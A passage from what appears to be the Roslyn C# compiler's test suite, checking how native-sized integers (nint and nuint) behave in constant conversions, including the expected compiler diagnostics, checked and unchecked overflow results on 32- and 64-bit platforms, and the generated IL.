Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "double.MaxValue").WithArguments("double", "nint").WithLocation(19, 17),
// (20,17): error CS0266: Cannot implicitly convert type 'decimal' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = (decimal)int.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(decimal)int.MaxValue").WithArguments("decimal", "nint").WithLocation(20, 17),
// (22,17): error CS0266: Cannot implicitly convert type 'nuint' to 'nint'. An explicit conversion exists (are you missing a cast?)
// i = (nuint)uint.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(nuint)uint.MaxValue").WithArguments("nuint", "nint").WithLocation(22, 17),
// (37,17): error CS0266: Cannot implicitly convert type 'long' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = long.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "long.MaxValue").WithArguments("long", "nuint").WithLocation(37, 17),
// (38,17): error CS0266: Cannot implicitly convert type 'ulong' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = ulong.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "ulong.MaxValue").WithArguments("ulong", "nuint").WithLocation(38, 17),
// (39,17): error CS0266: Cannot implicitly convert type 'float' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = float.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "float.MaxValue").WithArguments("float", "nuint").WithLocation(39, 17),
// (40,17): error CS0266: Cannot implicitly convert type 'double' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = double.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "double.MaxValue").WithArguments("double", "nuint").WithLocation(40, 17),
// (41,17): error CS0266: Cannot implicitly convert type 'decimal' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = (decimal)uint.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(decimal)uint.MaxValue").WithArguments("decimal", "nuint").WithLocation(41, 17),
// (42,17): error CS0266: Cannot implicitly convert type 'nint' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// u = (nint)int.MaxValue;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "(nint)int.MaxValue").WithArguments("nint", "nuint").WithLocation(42, 17));
}
[Theory]
[InlineData("")]
[InlineData("unchecked")]
[InlineData("checked")]
public void ConstantConversions_FromNativeInt(string context)
{
var source =
$@"#pragma warning disable 219
class Program
{{
static void F1()
{{
const nint n = (nint)int.MaxValue;
{context}
{{
sbyte sb = n;
byte b = n;
char c = n;
short s = n;
ushort us = n;
int i = n;
uint u = n;
long l = n;
ulong ul = n;
float f = n;
double d = n;
decimal dec = n;
nuint nu = n;
}}
}}
static void F2()
{{
const nuint nu = (nuint)uint.MaxValue;
{context}
{{
sbyte sb = nu;
byte b = nu;
char c = nu;
short s = nu;
ushort us = nu;
int i = nu;
uint u = nu;
long l = nu;
ulong ul = nu;
float f = nu;
double d = nu;
decimal dec = nu;
nint n = nu;
}}
}}
}}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (9,24): error CS0266: Cannot implicitly convert type 'nint' to 'sbyte'. An explicit conversion exists (are you missing a cast?)
// sbyte sb = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "sbyte").WithLocation(9, 24),
// (10,22): error CS0266: Cannot implicitly convert type 'nint' to 'byte'. An explicit conversion exists (are you missing a cast?)
// byte b = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "byte").WithLocation(10, 22),
// (11,22): error CS0266: Cannot implicitly convert type 'nint' to 'char'. An explicit conversion exists (are you missing a cast?)
// char c = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "char").WithLocation(11, 22),
// (12,23): error CS0266: Cannot implicitly convert type 'nint' to 'short'. An explicit conversion exists (are you missing a cast?)
// short s = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "short").WithLocation(12, 23),
// (13,25): error CS0266: Cannot implicitly convert type 'nint' to 'ushort'. An explicit conversion exists (are you missing a cast?)
// ushort us = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "ushort").WithLocation(13, 25),
// (14,21): error CS0266: Cannot implicitly convert type 'nint' to 'int'. An explicit conversion exists (are you missing a cast?)
// int i = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "int").WithLocation(14, 21),
// (15,22): error CS0266: Cannot implicitly convert type 'nint' to 'uint'. An explicit conversion exists (are you missing a cast?)
// uint u = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "uint").WithLocation(15, 22),
// (17,24): error CS0266: Cannot implicitly convert type 'nint' to 'ulong'. An explicit conversion exists (are you missing a cast?)
// ulong ul = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "ulong").WithLocation(17, 24),
// (21,24): error CS0266: Cannot implicitly convert type 'nint' to 'nuint'. An explicit conversion exists (are you missing a cast?)
// nuint nu = n;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "n").WithArguments("nint", "nuint").WithLocation(21, 24),
// (29,24): error CS0266: Cannot implicitly convert type 'nuint' to 'sbyte'. An explicit conversion exists (are you missing a cast?)
// sbyte sb = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "sbyte").WithLocation(29, 24),
// (30,22): error CS0266: Cannot implicitly convert type 'nuint' to 'byte'. An explicit conversion exists (are you missing a cast?)
// byte b = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "byte").WithLocation(30, 22),
// (31,22): error CS0266: Cannot implicitly convert type 'nuint' to 'char'. An explicit conversion exists (are you missing a cast?)
// char c = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "char").WithLocation(31, 22),
// (32,23): error CS0266: Cannot implicitly convert type 'nuint' to 'short'. An explicit conversion exists (are you missing a cast?)
// short s = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "short").WithLocation(32, 23),
// (33,25): error CS0266: Cannot implicitly convert type 'nuint' to 'ushort'. An explicit conversion exists (are you missing a cast?)
// ushort us = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "ushort").WithLocation(33, 25),
// (34,21): error CS0266: Cannot implicitly convert type 'nuint' to 'int'. An explicit conversion exists (are you missing a cast?)
// int i = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "int").WithLocation(34, 21),
// (35,22): error CS0266: Cannot implicitly convert type 'nuint' to 'uint'. An explicit conversion exists (are you missing a cast?)
// uint u = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "uint").WithLocation(35, 22),
// (36,22): error CS0266: Cannot implicitly convert type 'nuint' to 'long'. An explicit conversion exists (are you missing a cast?)
// long l = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "long").WithLocation(36, 22),
// (41,22): error CS0266: Cannot implicitly convert type 'nuint' to 'nint'. An explicit conversion exists (are you missing a cast?)
// nint n = nu;
Diagnostic(ErrorCode.ERR_NoImplicitConvCast, "nu").WithArguments("nuint", "nint").WithLocation(41, 22));
}
[WorkItem(42955, "https://github.com/dotnet/roslyn/issues/42955")]
[WorkItem(45525, "https://github.com/dotnet/roslyn/issues/45525")]
[Fact]
public void ConstantConversions_01()
{
var source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
const nint y = checked((nint)x);
Console.WriteLine(y);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,24): error CS0133: The expression being assigned to 'y' must be constant
// const nint y = checked((nint)x);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "checked((nint)x)").WithArguments("y").WithLocation(7, 24),
// (7,32): warning CS8778: Constant value '1152921504606846975' may overflow 'nint' at runtime (use 'unchecked' syntax to override)
// const nint y = checked((nint)x);
Diagnostic(ErrorCode.WRN_ConstOutOfRangeChecked, "(nint)x").WithArguments("1152921504606846975", "nint").WithLocation(7, 32));
source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
try
{
nint y = checked((nint)x);
Console.WriteLine(y);
}
catch (Exception e)
{
Console.WriteLine(e.GetType());
}
}
}";
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (9,30): warning CS8778: Constant value '1152921504606846975' may overflow 'nint' at runtime (use 'unchecked' syntax to override)
// nint y = checked((nint)x);
Diagnostic(ErrorCode.WRN_ConstOutOfRangeChecked, "(nint)x").WithArguments("1152921504606846975", "nint").WithLocation(9, 30));
CompileAndVerify(comp, expectedOutput: IntPtr.Size == 4 ? "System.OverflowException" : "1152921504606846975");
}
[WorkItem(45531, "https://github.com/dotnet/roslyn/issues/45531")]
[Fact]
public void ConstantConversions_02()
{
var source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
const nint y = unchecked((nint)x);
Console.WriteLine(y);
}
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (7,24): error CS0133: The expression being assigned to 'y' must be constant
// const nint y = unchecked((nint)x);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "unchecked((nint)x)").WithArguments("y").WithLocation(7, 24));
source =
@"using System;
class Program
{
static void Main()
{
const long x = 0xFFFFFFFFFFFFFFFL;
nint y = unchecked((nint)x);
Console.WriteLine(y);
}
}";
comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics();
CompileAndVerify(comp, expectedOutput: IntPtr.Size == 4 ? "-1" : "1152921504606846975");
}
[WorkItem(42955, "https://github.com/dotnet/roslyn/issues/42955")]
[WorkItem(45525, "https://github.com/dotnet/roslyn/issues/45525")]
[WorkItem(45531, "https://github.com/dotnet/roslyn/issues/45531")]
[Fact]
public void ConstantConversions_03()
{
using var _ = new EnsureInvariantCulture();
constantConversions("sbyte", "nint", "-1", null, "-1", "-1", null, "-1", "-1");
constantConversions("sbyte", "nint", "sbyte.MinValue", null, "-128", "-128", null, "-128", "-128");
constantConversions("sbyte", "nint", "sbyte.MaxValue", null, "127", "127", null, "127", "127");
constantConversions("byte", "nint", "byte.MaxValue", null, "255", "255", null, "255", "255");
constantConversions("short", "nint", "-1", null, "-1", "-1", null, "-1", "-1");
constantConversions("short", "nint", "short.MinValue", null, "-32768", "-32768", null, "-32768", "-32768");
constantConversions("short", "nint", "short.MaxValue", null, "32767", "32767", null, "32767", "32767");
constantConversions("ushort", "nint", "ushort.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("char", "nint", "char.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("int", "nint", "int.MinValue", null, "-2147483648", "-2147483648", null, "-2147483648", "-2147483648");
constantConversions("int", "nint", "int.MaxValue", null, "2147483647", "2147483647", null, "2147483647", "2147483647");
constantConversions("uint", "nint", "(int.MaxValue + 1U)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("uint", "nint", "uint.MaxValue", warningOutOfRangeChecked("nint", "4294967295"), "System.OverflowException", "4294967295", null, "-1", "4294967295");
constantConversions("long", "nint", "(int.MinValue - 1L)", warningOutOfRangeChecked("nint", "-2147483649"), "System.OverflowException", "-2147483649", null, "2147483647", "-2147483649");
constantConversions("long", "nint", "(int.MaxValue + 1L)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("long", "nint", "long.MinValue", warningOutOfRangeChecked("nint", "-9223372036854775808"), "System.OverflowException", "-9223372036854775808", null, "0", "-9223372036854775808");
constantConversions("long", "nint", "long.MaxValue", warningOutOfRangeChecked("nint", "9223372036854775807"), "System.OverflowException", "9223372036854775807", null, "-1", "9223372036854775807");
constantConversions("ulong", "nint", "(int.MaxValue + 1UL)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("ulong", "nint", "ulong.MaxValue", errorOutOfRangeChecked("nint", "18446744073709551615"), "System.OverflowException", "System.OverflowException", null, "-1", "-1");
constantConversions("decimal", "nint", "(int.MinValue - 1M)", errorOutOfRange("nint", "-2147483649M"), "System.OverflowException", "-2147483649", errorOutOfRange("nint", "-2147483649M"), "2147483647", "-2147483649");
constantConversions("decimal", "nint", "(int.MaxValue + 1M)", errorOutOfRange("nint", "2147483648M"), "System.OverflowException", "2147483648", errorOutOfRange("nint", "2147483648M"), "-2147483648", "2147483648");
constantConversions("decimal", "nint", "decimal.MinValue", errorOutOfRange("nint", "-79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nint", "-79228162514264337593543950335M"), "-1", "-1");
constantConversions("decimal", "nint", "decimal.MaxValue", errorOutOfRange("nint", "79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nint", "79228162514264337593543950335M"), "-1", "-1");
constantConversions("nint", "nint", "int.MinValue", null, "-2147483648", "-2147483648", null, "-2147483648", "-2147483648");
constantConversions("nint", "nint", "int.MaxValue", null, "2147483647", "2147483647", null, "2147483647", "2147483647");
constantConversions("nuint", "nint", "(int.MaxValue + (nuint)1)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("sbyte", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("sbyte", "nuint", "sbyte.MinValue", errorOutOfRangeChecked("nuint", "-128"), "System.OverflowException", "System.OverflowException", null, "4294967168", "18446744073709551488");
constantConversions("sbyte", "nuint", "sbyte.MaxValue", null, "127", "127", null, "127", "127");
constantConversions("byte", "nuint", "byte.MaxValue", null, "255", "255", null, "255", "255");
constantConversions("short", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("short", "nuint", "short.MinValue", errorOutOfRangeChecked("nuint", "-32768"), "System.OverflowException", "System.OverflowException", null, "4294934528", "18446744073709518848");
constantConversions("short", "nuint", "short.MaxValue", null, "32767", "32767", null, "32767", "32767");
constantConversions("ushort", "nuint", "ushort.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("char", "nuint", "char.MaxValue", null, "65535", "65535", null, "65535", "65535");
constantConversions("int", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("int", "nuint", "int.MinValue", errorOutOfRangeChecked("nuint", "-2147483648"), "System.OverflowException", "System.OverflowException", null, "2147483648", "18446744071562067968");
constantConversions("int", "nuint", "int.MaxValue", null, "2147483647", "2147483647", null, "2147483647", "2147483647");
constantConversions("uint", "nuint", "uint.MaxValue", null, "4294967295", "4294967295", null, "4294967295", "4294967295");
constantConversions("long", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("long", "nuint", "uint.MaxValue + 1L", warningOutOfRangeChecked("nuint", "4294967296"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("long", "nuint", "long.MinValue", errorOutOfRangeChecked("nuint", "-9223372036854775808"), "System.OverflowException", "System.OverflowException", null, "0", "9223372036854775808");
constantConversions("long", "nuint", "long.MaxValue", warningOutOfRangeChecked("nuint", "9223372036854775807"), "System.OverflowException", "9223372036854775807", null, "4294967295", "9223372036854775807");
constantConversions("ulong", "nuint", "uint.MaxValue + 1UL", warningOutOfRangeChecked("nuint", "4294967296"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("ulong", "nuint", "ulong.MaxValue", warningOutOfRangeChecked("nuint", "18446744073709551615"), "System.OverflowException", "18446744073709551615", null, "4294967295", "18446744073709551615");
constantConversions("decimal", "nuint", "-1", errorOutOfRange("nuint", "-1M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nuint", "-1M"), "System.OverflowException", "System.OverflowException");
constantConversions("decimal", "nuint", "(uint.MaxValue + 1M)", errorOutOfRange("nuint", "4294967296M"), "System.OverflowException", "4294967296", errorOutOfRange("nuint", "4294967296M"), "-1", "4294967296");
constantConversions("decimal", "nuint", "decimal.MinValue", errorOutOfRange("nuint", "-79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nuint", "-79228162514264337593543950335M"), "-1", "-1");
constantConversions("decimal", "nuint", "decimal.MaxValue", errorOutOfRange("nuint", "79228162514264337593543950335M"), "System.OverflowException", "System.OverflowException", errorOutOfRange("nuint", "79228162514264337593543950335M"), "-1", "-1");
constantConversions("nint", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("nuint", "nuint", "uint.MaxValue", null, "4294967295", "4294967295", null, "4294967295", "4294967295");
if (!ExecutionConditionUtil.IsWindowsDesktop)
{
// There are differences in floating point precision across platforms
// so floating point tests are limited to one platform.
return;
}
constantConversions("float", "nint", "(int.MinValue - 10000F)", warningOutOfRangeChecked("nint", "-2.147494E+09"), "System.OverflowException", "-2147493632", null, "-2147483648", "-2147493632");
constantConversions("float", "nint", "(int.MaxValue + 10000F)", warningOutOfRangeChecked("nint", "2.147494E+09"), "System.OverflowException", "2147493632", null, "-2147483648", "2147493632");
constantConversions("float", "nint", "float.MinValue", errorOutOfRangeChecked("nint", "-3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("float", "nint", "float.MaxValue", errorOutOfRangeChecked("nint", "3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("double", "nint", "(int.MinValue - 1D)", warningOutOfRangeChecked("nint", "-2147483649"), "System.OverflowException", "-2147483649", null, "-2147483648", "-2147483649");
constantConversions("double", "nint", "(int.MaxValue + 1D)", warningOutOfRangeChecked("nint", "2147483648"), "System.OverflowException", "2147483648", null, "-2147483648", "2147483648");
constantConversions("double", "nint", "double.MinValue", errorOutOfRangeChecked("nint", "-1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("double", "nint", "double.MaxValue", errorOutOfRangeChecked("nint", "1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "-2147483648", "-9223372036854775808");
constantConversions("float", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("float", "nuint", "(uint.MaxValue + 1F)", warningOutOfRangeChecked("nuint", "4.294967E+09"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("float", "nuint", "float.MinValue", errorOutOfRangeChecked("nuint", "-3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "0", "9223372036854775808");
constantConversions("float", "nuint", "float.MaxValue", errorOutOfRangeChecked("nuint", "3.402823E+38"), "System.OverflowException", "System.OverflowException", null, "0", "0");
constantConversions("double", "nuint", "-1", errorOutOfRangeChecked("nuint", "-1"), "System.OverflowException", "System.OverflowException", null, "4294967295", "18446744073709551615");
constantConversions("double", "nuint", "(uint.MaxValue + 1D)", warningOutOfRangeChecked("nuint", "4294967296"), "System.OverflowException", "4294967296", null, "0", "4294967296");
constantConversions("double", "nuint", "double.MinValue", errorOutOfRangeChecked("nuint", "-1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "0", "9223372036854775808");
constantConversions("double", "nuint", "double.MaxValue", errorOutOfRangeChecked("nuint", "1.79769313486232E+308"), "System.OverflowException", "System.OverflowException", null, "0", "0");
static DiagnosticDescription errorOutOfRangeChecked(string destinationType, string value) => Diagnostic(ErrorCode.ERR_ConstOutOfRangeChecked, $"({destinationType})x").WithArguments(value, destinationType);
static DiagnosticDescription errorOutOfRange(string destinationType, string value) => Diagnostic(ErrorCode.ERR_ConstOutOfRange, $"({destinationType})x").WithArguments(value, destinationType);
static DiagnosticDescription warningOutOfRangeChecked(string destinationType, string value) => Diagnostic(ErrorCode.WRN_ConstOutOfRangeChecked, $"({destinationType})x").WithArguments(value, destinationType);
void constantConversions(string sourceType, string destinationType, string sourceValue, DiagnosticDescription checkedError, string checked32, string checked64, DiagnosticDescription uncheckedError, string unchecked32, string unchecked64)
{
constantConversion(sourceType, destinationType, sourceValue, useChecked: true, checkedError, IntPtr.Size == 4 ? checked32 : checked64);
constantConversion(sourceType, destinationType, sourceValue, useChecked: false, uncheckedError, IntPtr.Size == 4 ? unchecked32 : unchecked64);
}
void constantConversion(string sourceType, string destinationType, string sourceValue, bool useChecked, DiagnosticDescription expectedError, string expectedOutput)
{
var source =
$@"using System;
class Program
{{
static void Main()
{{
const {sourceType} x = {sourceValue};
object y;
try
{{
y = {(useChecked ? "checked" : "unchecked")}(({destinationType})x);
}}
catch (Exception e)
{{
y = e.GetType();
}}
Console.Write(y);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedError is null ? Array.Empty<DiagnosticDescription>() : new[] { expectedError });
if (expectedError == null || ErrorFacts.IsWarning((ErrorCode)expectedError.Code))
{
CompileAndVerify(comp, expectedOutput: expectedOutput);
}
}
}
[Fact]
public void Constants_NInt()
{
string source =
$@"class Program
{{
static void Main()
{{
F(default);
F(int.MinValue);
F({short.MinValue - 1});
F(short.MinValue);
F(sbyte.MinValue);
F(-2);
F(-1);
F(0);
F(1);
F(2);
F(3);
F(4);
F(5);
F(6);
F(7);
F(8);
F(9);
F(sbyte.MaxValue);
F(byte.MaxValue);
F(short.MaxValue);
F(char.MaxValue);
F(ushort.MaxValue);
F({ushort.MaxValue + 1});
F(int.MaxValue);
}}
static void F(nint n)
{{
System.Console.WriteLine(n);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
string expectedOutput =
@"0
-2147483648
-32769
-32768
-128
-2
-1
0
1
2
3
4
5
6
7
8
9
127
255
32767
65535
65535
65536
2147483647";
var verifier = CompileAndVerify(comp, expectedOutput: expectedOutput);
string expectedIL =
@"{
// Code size 209 (0xd1)
.maxstack 1
IL_0000: ldc.i4.0
IL_0001: conv.i
IL_0002: call ""void Program.F(nint)""
IL_0007: ldc.i4 0x80000000
IL_000c: conv.i
IL_000d: call ""void Program.F(nint)""
IL_0012: ldc.i4 0xffff7fff
IL_0017: conv.i
IL_0018: call ""void Program.F(nint)""
IL_001d: ldc.i4 0xffff8000
IL_0022: conv.i
IL_0023: call ""void Program.F(nint)""
IL_0028: ldc.i4.s -128
IL_002a: conv.i
IL_002b: call ""void Program.F(nint)""
IL_0030: ldc.i4.s -2
IL_0032: conv.i
IL_0033: call ""void Program.F(nint)""
IL_0038: ldc.i4.m1
IL_0039: conv.i
IL_003a: call ""void Program.F(nint)""
IL_003f: ldc.i4.0
IL_0040: conv.i
IL_0041: call ""void Program.F(nint)""
IL_0046: ldc.i4.1
IL_0047: conv.i
IL_0048: call ""void Program.F(nint)""
IL_004d: ldc.i4.2
IL_004e: conv.i
IL_004f: call ""void Program.F(nint)""
IL_0054: ldc.i4.3
IL_0055: conv.i
IL_0056: call ""void Program.F(nint)""
IL_005b: ldc.i4.4
IL_005c: conv.i
IL_005d: call ""void Program.F(nint)""
IL_0062: ldc.i4.5
IL_0063: conv.i
IL_0064: call ""void Program.F(nint)""
IL_0069: ldc.i4.6
IL_006a: conv.i
IL_006b: call ""void Program.F(nint)""
IL_0070: ldc.i4.7
IL_0071: conv.i
IL_0072: call ""void Program.F(nint)""
IL_0077: ldc.i4.8
IL_0078: conv.i
IL_0079: call ""void Program.F(nint)""
IL_007e: ldc.i4.s 9
IL_0080: conv.i
IL_0081: call ""void Program.F(nint)""
IL_0086: ldc.i4.s 127
IL_0088: conv.i
IL_0089: call ""void Program.F(nint)""
IL_008e: ldc.i4 0xff
IL_0093: conv.i
IL_0094: call ""void Program.F(nint)""
IL_0099: ldc.i4 0x7fff
IL_009e: conv.i
IL_009f: call ""void Program.F(nint)""
IL_00a4: ldc.i4 0xffff
IL_00a9: conv.i
IL_00aa: call ""void Program.F(nint)""
IL_00af: ldc.i4 0xffff
IL_00b4: conv.i
IL_00b5: call ""void Program.F(nint)""
IL_00ba: ldc.i4 0x10000
IL_00bf: conv.i
IL_00c0: call ""void Program.F(nint)""
IL_00c5: ldc.i4 0x7fffffff
IL_00ca: conv.i
IL_00cb: call ""void Program.F(nint)""
IL_00d0: ret
}";
verifier.VerifyIL("Program.Main", expectedIL);
}
[Fact]
public void Constants_NUInt()
{
string source =
$@"class Program
{{
static void Main()
{{
F(default);
F(0);
F(1);
F(2);
F(3);
F(4);
F(5);
F(6);
F(7);
F(8);
F(9);
F(sbyte.MaxValue);
F(byte.MaxValue);
F(short.MaxValue);
F(char.MaxValue);
F(ushort.MaxValue);
F(int.MaxValue);
F({(uint)int.MaxValue + 1});
F(uint.MaxValue);
}}
static void F(nuint n)
{{
System.Console.WriteLine(n);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
string expectedOutput =
@"0
0
1
2
3
4
5
6
7
8
9
127
255
32767
65535
65535
2147483647
2147483648
4294967295";
var verifier = CompileAndVerify(comp, expectedOutput: expectedOutput);
string expectedIL =
@"{
// Code size 160 (0xa0)
.maxstack 1
IL_0000: ldc.i4.0
IL_0001: conv.i
IL_0002: call ""void Program.F(nuint)""
IL_0007: ldc.i4.0
IL_0008: conv.i
IL_0009: call ""void Program.F(nuint)""
IL_000e: ldc.i4.1
IL_000f: conv.i
IL_0010: call ""void Program.F(nuint)""
IL_0015: ldc.i4.2
IL_0016: conv.i
IL_0017: call ""void Program.F(nuint)""
IL_001c: ldc.i4.3
IL_001d: conv.i
IL_001e: call ""void Program.F(nuint)""
IL_0023: ldc.i4.4
IL_0024: conv.i
IL_0025: call ""void Program.F(nuint)""
IL_002a: ldc.i4.5
IL_002b: conv.i
IL_002c: call ""void Program.F(nuint)""
IL_0031: ldc.i4.6
IL_0032: conv.i
IL_0033: call ""void Program.F(nuint)""
IL_0038: ldc.i4.7
IL_0039: conv.i
IL_003a: call ""void Program.F(nuint)""
IL_003f: ldc.i4.8
IL_0040: conv.i
IL_0041: call ""void Program.F(nuint)""
IL_0046: ldc.i4.s 9
IL_0048: conv.i
IL_0049: call ""void Program.F(nuint)""
IL_004e: ldc.i4.s 127
IL_0050: conv.i
IL_0051: call ""void Program.F(nuint)""
IL_0056: ldc.i4 0xff
IL_005b: conv.i
IL_005c: call ""void Program.F(nuint)""
IL_0061: ldc.i4 0x7fff
IL_0066: conv.i
IL_0067: call ""void Program.F(nuint)""
IL_006c: ldc.i4 0xffff
IL_0071: conv.i
IL_0072: call ""void Program.F(nuint)""
IL_0077: ldc.i4 0xffff
IL_007c: conv.i
IL_007d: call ""void Program.F(nuint)""
IL_0082: ldc.i4 0x7fffffff
IL_0087: conv.i
IL_0088: call ""void Program.F(nuint)""
IL_008d: ldc.i4 0x80000000
IL_0092: conv.u
IL_0093: call ""void Program.F(nuint)""
IL_0098: ldc.i4.m1
IL_0099: conv.u
IL_009a: call ""void Program.F(nuint)""
IL_009f: ret
}";
verifier.VerifyIL("Program.Main", expectedIL);
}
[Fact]
public void Constants_Locals()
{
var source =
@"#pragma warning disable 219
class Program
{
static void Main()
{
const System.IntPtr a = default;
const nint b = default;
const System.UIntPtr c = default;
const nuint d = default;
}
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (6,15): error CS0283: The type 'IntPtr' cannot be declared const
// const System.IntPtr a = default;
Diagnostic(ErrorCode.ERR_BadConstType, "System.IntPtr").WithArguments("System.IntPtr").WithLocation(6, 15),
// (8,15): error CS0283: The type 'UIntPtr' cannot be declared const
// const System.UIntPtr c = default;
Diagnostic(ErrorCode.ERR_BadConstType, "System.UIntPtr").WithArguments("System.UIntPtr").WithLocation(8, 15));
}
[Fact]
public void Constants_Fields_01()
{
var source =
@"class Program
{
const System.IntPtr A = default(System.IntPtr);
const nint B = default(nint);
const System.UIntPtr C = default(System.UIntPtr);
const nuint D = default(nuint);
}";
var comp = CreateCompilation(source, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(
// (3,5): error CS0283: The type 'IntPtr' cannot be declared const
// const System.IntPtr A = default(System.IntPtr);
Diagnostic(ErrorCode.ERR_BadConstType, "const").WithArguments("System.IntPtr").WithLocation(3, 5),
// (3,29): error CS0133: The expression being assigned to 'Program.A' must be constant
// const System.IntPtr A = default(System.IntPtr);
Diagnostic(ErrorCode.ERR_NotConstantExpression, "default(System.IntPtr)").WithArguments("Program.A").WithLocation(3, 29),
// (5,5): error CS0283: The type 'UIntPtr' cannot be declared const
// const System.UIntPtr C = default(System.UIntPtr);
Diagnostic(ErrorCode.ERR_BadConstType, "const").WithArguments("System.UIntPtr").WithLocation(5, 5),
// (5,30): error CS0133: The expression being assigned to 'Program.C' must be constant
// const System.UIntPtr C = default(System.UIntPtr);
